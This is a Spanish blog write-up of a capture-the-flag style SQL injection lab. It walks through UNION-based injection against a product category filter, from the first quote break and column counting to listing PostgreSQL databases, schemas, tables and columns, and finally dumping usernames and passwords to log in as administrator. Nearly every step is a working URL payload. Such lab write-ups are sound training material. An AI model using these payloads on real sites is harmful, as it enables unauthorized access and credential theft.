Entrada

SQLI Lab 5

SQLI Lab 5

Skills

  • SQL injection attack, listing the database contents on non-Oracle databases

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categorías de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que debemos usar un ataque UNION para recuperar datos de otras tablas. La aplicación tiene una función de inicio de sesión, y la base de datos contiene una tabla que almacena nombres de usuario y contraseñas. Hay que determinar el nombre de esta tabla y las columnas que contiene, y luego recuperar el contenido de la tabla para obtener el nombre de usuario y la contraseña de todos los usuarios. Para resolver el laboratorio, hay que iniciar sesión como el usuario administrador


Resolución

Al acceder a la web nos sale esto

Pinchamos en alguna de las categorías, capturamos la petición con Burpsuite y le añadimos una ' a category

Si enviamos la petición nos dará un Internal Server Error debido a que hemos logrado interferir con la consulta SQL que se está haciendo

Si usamos este payload, ya habremos solucionado el error que se estaba produciendo en la consulta SQL y se mostrará lo siguiente

1
/filter?category=Lifestyle'or+1=1+--+-+

Esto se debe a que la consulta SQL que se debe estar haciendo debe ser esta

1
SELECT * FROM products WHERE category = 'Lifestyle'

Lo que hacemos cuando inyectamos ' or 1=1-- - es cerrar la ' del campo category y usar or 1=1 para que siempre sea verdad y por lo tanto exista, posteriormente con -- - lo que hacemos es ignorar el resto de la query

1
SELECT * FROM products WHERE category = 'Lifestyle' OR 1=1 -- - '

Usando order by podemos identificar cuantas columnas tiene la tabla, si ponemos un número de columnas que existe no obtendremos ningún error

1
/filter?category=Lifestyle'order+by+2--+-+

Sin embargo si ponemos un número de columnas que no existe, obtendremos un error, esto es debido a que estamos ante una SQLI Error Based

1
/filter?category=Lifestyle'order+by+3--+-+

A continuación usamos union select para señalar ambos campos, podemos descartar que la base de datos sea Oracle porque no nos da un error, si nos diera un error probablemente sería una base de datos Oracle y debería añadirle from dual al final

1
/filter?category=Lifestyle'+union+select+null,null--+-+

Con este payload lo que hacemos es listar la versión de la base de datos, es importante inspeccionar la web correctamente, en este caso el resultado de la SQLI está en la parte inferior de la web

1
/filter?category=Lifestyle'+union+select+version(),null--+-+

Listamos las bases de datos, la expresión string_agg(columnName, ',') es como group_concat de MySQL

1
/filter?category=Lifestyle'+union+select+null,string_agg(datname, ',')+from+pg_database--+-+

Listamos la base de datos actual

1
/filter?category=Lifestyle'+union+select+current_database(),null--+-+

Listamos los esquemas de la base de datos actual

1
/filter?category=Lifestyle'+union+select+null,string_agg(schema_name,',')+from+information_schema.schemata--+-+

Para listar las tablas del esquema public

1
/filter?category=Lifestyle'+union+select+null,string_agg(table_name,',')+from+information_schema.tables+where+table_schema='public'--+-+

Si queremos visualizarlo de mejor forma podemos usar

1
/filter?category=Lifestyle'+union+select+null,array_to_string(array_agg(table_name), E'\n')+from+information_schema.tables+where+table_schema='public'--+-+

Enumeramos las columnas de la tabla users_nlnyoc

1
/filter?category=Lifestyle'+union+select+null,array_to_string(array_agg(column_name),E'\n')+from+information_schema.columns+where+table_name='users_nlnyoc'--+-+

Obtenemos el contenido de la columna username_vxtjej y password_siipou de la tabla users_nlnyoc

1
/filter?category=Lifestyle%27+union+select+username_vxtjej,password_siipou+from+users_nlnyoc--+-+

Nos logueamos como el usuario administrador

Esta entrada está licenciada bajo CC BY 4.0 por el autor.